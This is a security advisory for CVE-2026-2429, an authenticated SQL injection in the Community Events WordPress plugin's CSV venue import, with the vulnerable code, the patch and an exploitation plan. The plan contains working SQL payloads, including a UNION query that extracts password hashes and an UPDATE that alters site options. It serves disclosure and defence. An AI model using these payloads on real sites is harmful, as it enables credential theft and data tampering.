CVE-2026-2429

Community Events <= 1.5.8 - Authenticated (Administrator+) SQL Injection via 'ce_venue_name' CSV Field

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
1.5.9
Patched in
1d
Time to patch

Description

The Community Events plugin for WordPress is vulnerable to SQL Injection via the 'ce_venue_name' CSV field in the `on_save_changes_venues` function in all versions up to, and including, 1.5.8. This is due to insufficient escaping on the user-supplied CSV data and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a crafted CSV file upload.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.5.8
PublishedMarch 6, 2026
Last updatedMarch 7, 2026
Affected plugincommunity-events

What Changed in the Fix

Changes introduced in v1.5.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2429 - Community Events SQL Injection ## 1. Vulnerability Summary The **Community Events** plugin (up to version 1.5.8) contains an authenticated SQL injection vulnerability within its CSV venue import functionality. The vulnerability exists in the `on_save_ch…

Show full research plan

Exploitation Research Plan: CVE-2026-2429 - Community Events SQL Injection

1. Vulnerability Summary

The Community Events plugin (up to version 1.5.8) contains an authenticated SQL injection vulnerability within its CSV venue import functionality. The vulnerability exists in the on_save_changes_venues function, which processes user-uploaded CSV files. Specifically, data from the ce_venue_name CSV field is concatenated directly into SQL queries without proper sanitization via wpdb->prepare() or escaping via esc_sql().

While the vulnerability requires Administrator privileges to access the settings page and trigger the import, it allows an attacker to execute arbitrary SQL queries, potentially leading to the extraction of sensitive data (like password hashes or session tokens) from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-post.php
  • Action: save_community_events_venues (registered via admin_post_save_community_events_venues hook)
  • Vulnerable Parameter: The content of the uploaded CSV file, specifically under the ce_venue_name column.
  • Authentication: Required (Administrator level).
  • Preconditions:
    • Plugin "Community Events" installed and active.
    • Attacker has Administrator credentials.

3. Code Flow

  1. Entry Point: An administrator submits a form on the Venues settings page (/wp-admin/admin.php?page=community-events-venues).
  2. Request: The form POSTs to admin-post.php with action=save_community_events_venues.
  3. Hook: The community_events_plugin class constructor registers the hook:
    add_action('admin_post_save_community_events_venues', array($this, 'on_save_changes_venues'));
  4. Processing: on_save_changes_venues handles the request. It checks for an uploaded CSV file.
  5. Parsing: The function reads the CSV file (likely using fopen and fgetcsv).
  6. Vulnerable Sink: Inside a loop iterating through the CSV rows, the value corresponding to ce_venue_name is assigned to a variable. This variable is then interpolated into a raw SQL query (e.g., SELECT, INSERT, or UPDATE) executed via $wpdb->query() or $wpdb->get_results() without preparation.

4. Nonce Acquisition Strategy

The admin-post.php handler almost certainly requires a nonce for CSRF protection. Based on common plugin patterns and the ajax_admin_event_approval example in the source, we must find the specific nonce used in the venues form.

Strategy:

  1. Navigate: Use the browser_navigate tool to go to the Community Events Venues page:
    URL: /wp-admin/admin.php?page=community-events-venues (Note: the slug community-events is defined as COMMUNITY_EVENTS_ADMIN_PAGE_NAME).
  2. Extract: Use browser_eval to find the nonce in the form.
    // Search for a hidden input field named 'ce_venues_nonce' or '_wpnonce'
    document.querySelector('input[name="ce_venues_nonce"]')?.value || document.querySelector('#_wpnonce')?.value
    
  3. Verify Action: If wp_create_nonce('ce_venues_save') is used, the nonce field name might be ce_venues_nonce.

5. Exploitation Strategy

The goal is to confirm SQL injection using a time-based payload in the CSV file.

Step-by-Step Plan:

  1. Login: Authenticate as an administrator.
  2. Locate Form: Access /wp-admin/admin.php?page=community-events-venues to identify the file upload field name (likely venue_csv_file or similar).
  3. Prepare CSV: Create a CSV file named exploit.csv with the following content:
    ce_venue_name,ce_venue_address,ce_venue_city
    "test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -","123 Test St","Test City"
    
  4. Execute Request: Use http_request to POST to admin-post.php.
    • URL: http://localhost:8080/wp-admin/admin-post.php
    • Method: POST
    • Headers: Content-Type: multipart/form-data
    • Body:
      • action: save_community_events_venues
      • _wpnonce: [Extracted Nonce]
      • venue_csv_file: [Binary content of exploit.csv]
  5. Measure Timing: A successful injection will cause the server to hang for ~5 seconds.

6. Test Data Setup

  1. Plugin Setup: Ensure Community Events is active.
  2. Page Creation (Internal Requirement): Since this is an admin-level exploit, we don't need to place shortcodes for the admin to see, but the plugin must be initialized so the database tables exist (triggered by ce_install on activation).

7. Expected Results

  • Success: The http_request for the CSV upload takes significantly longer than usual (>= 5 seconds).
  • Failure: The request returns quickly (e.g., < 1 second) or results in a 403 Forbidden (nonce error) or 500 Internal Server Error (syntax error if the payload is malformed).

8. Verification Steps

After the HTTP request, verify the injection side-effect via wp-cli:

  1. Check the database for the injected venue name:
    wp db query "SELECT * FROM wp_ce_venues WHERE venue_name LIKE 'test%';" --allow-root
  2. Alternatively, use a payload that changes a setting or user:
    ce_venue_name payload: "test'; UPDATE wp_options SET option_value='pwned' WHERE option_name='blogname'; -- "
    Followed by: wp option get blogname --allow-root

9. Alternative Approaches

If time-based injection is blocked or unreliable:

  1. Error-Based SQLi: Use updatexml() or extractvalue() to leak the database version or user.
    • Payload: "test' AND updatexml(1,concat(0x7e,@@version,0x7e),1)-- -"
    • Check the HTTP response body for the MySQL error containing the version string.
  2. Union-Based Extraction: If the results of the query are displayed back to the admin (e.g., "The following venues were imported: ..."), determine the column count and use UNION SELECT.
    • Payload: "test' UNION SELECT 1,2,3,user_pass,5 FROM wp_users WHERE ID=1-- -"
Research Findings
Static analysis — not yet PoC-verified

Summary

The Community Events plugin for WordPress is vulnerable to an authenticated SQL injection via the venue name field during CSV imports. Because user-supplied CSV data is concatenated directly into SQL queries without preparation or escaping, an administrator can execute arbitrary SQL commands by uploading a crafted CSV file.

Vulnerable Code

// community-events.php line 742
$existingvenuequery = "SELECT ce_venue_id FROM " . $wpdb->prefix . "ce_venues v ";
$existingvenuequery .= "WHERE ce_venue_name = '" . $data[0] . "'";
$existingvenue = $wpdb->get_var($existingvenuequery);

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/community-events/1.5.8/community-events.php	2026-02-07 21:34:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/community-events/1.5.9/community-events.php	2026-02-15 19:43:02.000000000 +0000
@@ -739,9 +739,9 @@
 					{
 						if (count($data) == 7)
 						{
-							$existingvenuequery = "SELECT ce_venue_id FROM " . $wpdb->prefix . "ce_venues v ";
-							$existingvenuequery .= "WHERE ce_venue_name = '" . $data[0] . "'";
-							$existingvenue = $wpdb->get_var($existingvenuequery);
+
+							$existingvenuequery = $wpdb->prepare( "SELECT ce_venue_id FROM " . $wpdb->prefix . "ce_venues v WHERE ce_venue_name = %s", $data[0] );
+							$existingvenue = $wpdb->get_var( $existingvenuequery );
 
 							if (!$existingvenue)
 							{

Exploit Outline

The exploit requires Administrator privileges to access the plugin's venue management settings. 1. The attacker authenticates as an Administrator and navigates to the Community Events Venues page (/wp-admin/admin.php?page=community-events-venues) to obtain a valid security nonce (typically named 'ce_venues_nonce'). 2. The attacker creates a CSV file containing a malicious SQL payload in the first column (representing 'ce_venue_name'). For example, using a time-based payload like: "' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -". 3. The attacker sends a multipart POST request to /wp-admin/admin-post.php with the 'action' parameter set to 'save_community_events_venues', including the extracted nonce and the crafted CSV file. 4. When the plugin processes the CSV, the payload is concatenated into a SELECT query used to check for existing venues, causing the database to execute the injected SQL command.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.